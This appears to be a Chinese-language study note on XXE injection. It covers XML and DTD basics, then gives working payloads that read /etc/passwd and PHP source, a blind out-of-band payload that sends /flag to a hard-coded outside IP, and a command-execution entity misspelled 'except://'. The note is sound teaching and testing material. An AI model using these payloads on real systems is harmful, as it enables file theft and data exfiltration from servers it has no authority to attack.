XXE
XXE
XXE 全称 XML External Entity Injection 外部实体注入漏洞
XXE 会发生在语言程序解析 XML 时,没有禁止外部实体的加载,导致的漏洞
漏洞触发点一般是可以上传 XML 文件的位置,没有进行过滤,导致解析时会加载恶意外部文件和代码,造成任意文件读取、命令执行等漏洞
XML
XML 是用于标记文件使其具有结构性的标记语言,可以用来标记数据、定义数据结构
XML 文档结构包括
XML 声明
DTD 文档类型定义(可选)
文档元素
XML 文档都由以下的构建模块构成
- 元素
- 属性
- 实体
PCDATA:指的是会被解析器检查的文本数据,会把实体引用转义,里面的<会被解析成一个新标签的开始CDATA:不会被解析器解析的原始文本,不会解析新标签
基本语法
- 所有 XML 都必须有关闭标签
- XML 都对大小写敏感
- XML 必须正确嵌套
- XML 文档必须有根元素
- XML 的属性值要加引号
- XML 中的空格会被保留,多个空格不会被合并为一个
实体引用
| 字符 | 转义 |
|---|---|
< |
< |
> |
> |
& |
& |
" |
" |
' |
' |
DTD
DTD 是 XML 文档的结构约束,用来定义 XML 文档的合法构建模块
DTD 有两种用法
内部声明
直接写在 XML 文件内部
<?xml version="1.0"?> <!DOCTYPE bookstore [ 定义这个文档是 bookstore 类型的文档 <!ELEMENT price (#PCDATA)> 定义 price 元素为 #PCDATA 类型 ]> <bookstore> <price>1111</price> 定义 price 元素的值 </bookstore>外部声明
定义在
.dtd文件中,XML 引用<?xml version="1.0"?> <!DOCTYPE bookstore SYSTEM "bookstore.dtd">
DTD 语法
定义元素
<!ELEMENT 元素名 (内容模型)> <!ELEMENT price (#PCDATA)>定义属性
<!ATTLIST 元素名 属性名 属性类型 默认值> <!ATTLIST price unit CDATA "CNY">定义 DTD 实体(重点)
DTD 实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可内部声明或外部引用
实体又分为一般实体和参数实体
- 一般实体的引用方式:
&实体名; - 参数实体只能在 DTD 中使用:
%实体名;
内部实体
<!ENTITY 实体名 "实体值"> <!ENTITY marin "1"> <h1>&marin;</h1>外部实体
<!ENTITY 实体名 SYSTEM "URL"> <!ENTITY marin SYSTEM "file:///etc/passwd"> <h1>&marin;</h1>
- 一般实体的引用方式:
XXE 漏洞
支持的协议

漏洞利用
读取文档文件
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root[ <!ENTITY marin SYSTEM "file:///etc/passwd"> ]> <root> <show>&marin;</show> </root>利用伪协议
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY marin SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]> <root> <show>&marin;</show> </root>无回显 XXE
请求 XML
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % marin SYSTEM "http://101.35.151.42:8888/1.dtd"> %marin; ]> <root> 1 </root>服务器 dtd
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://101.35.151.42:8080/%file;'> "> %dtd; %xxe;
XXE的危害
任意文件读取
利用伪协议,可以读取文件
还分为有回显和无回显两种命令执行
php环境下,如果php有装
expect拓展,就可以命令执行,但是默认没有安装<?xml version="1.0"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "except://ls"> ]>内网探测端口
XXE可以利用
http://协议,可以发起 http 请求,探查内网的端口
SRC
在 SRC 中使用 XXE,一般是在一些可以解析上传文件的地方,例如可以解析一些 .xlsx、.docx、.pptx 格式的 Office 文档
因为这些文件都是 zip 压缩包,里面包含大量 XML 文件,当系统对上传的文件能够解析的时候,如果 XML 解析器没有禁用外部实体解析,攻击者上传的就会触发 XXE 漏洞

使用工具 xlsx_tool.py 可以生成恶意的文件,上传测试能不能外带
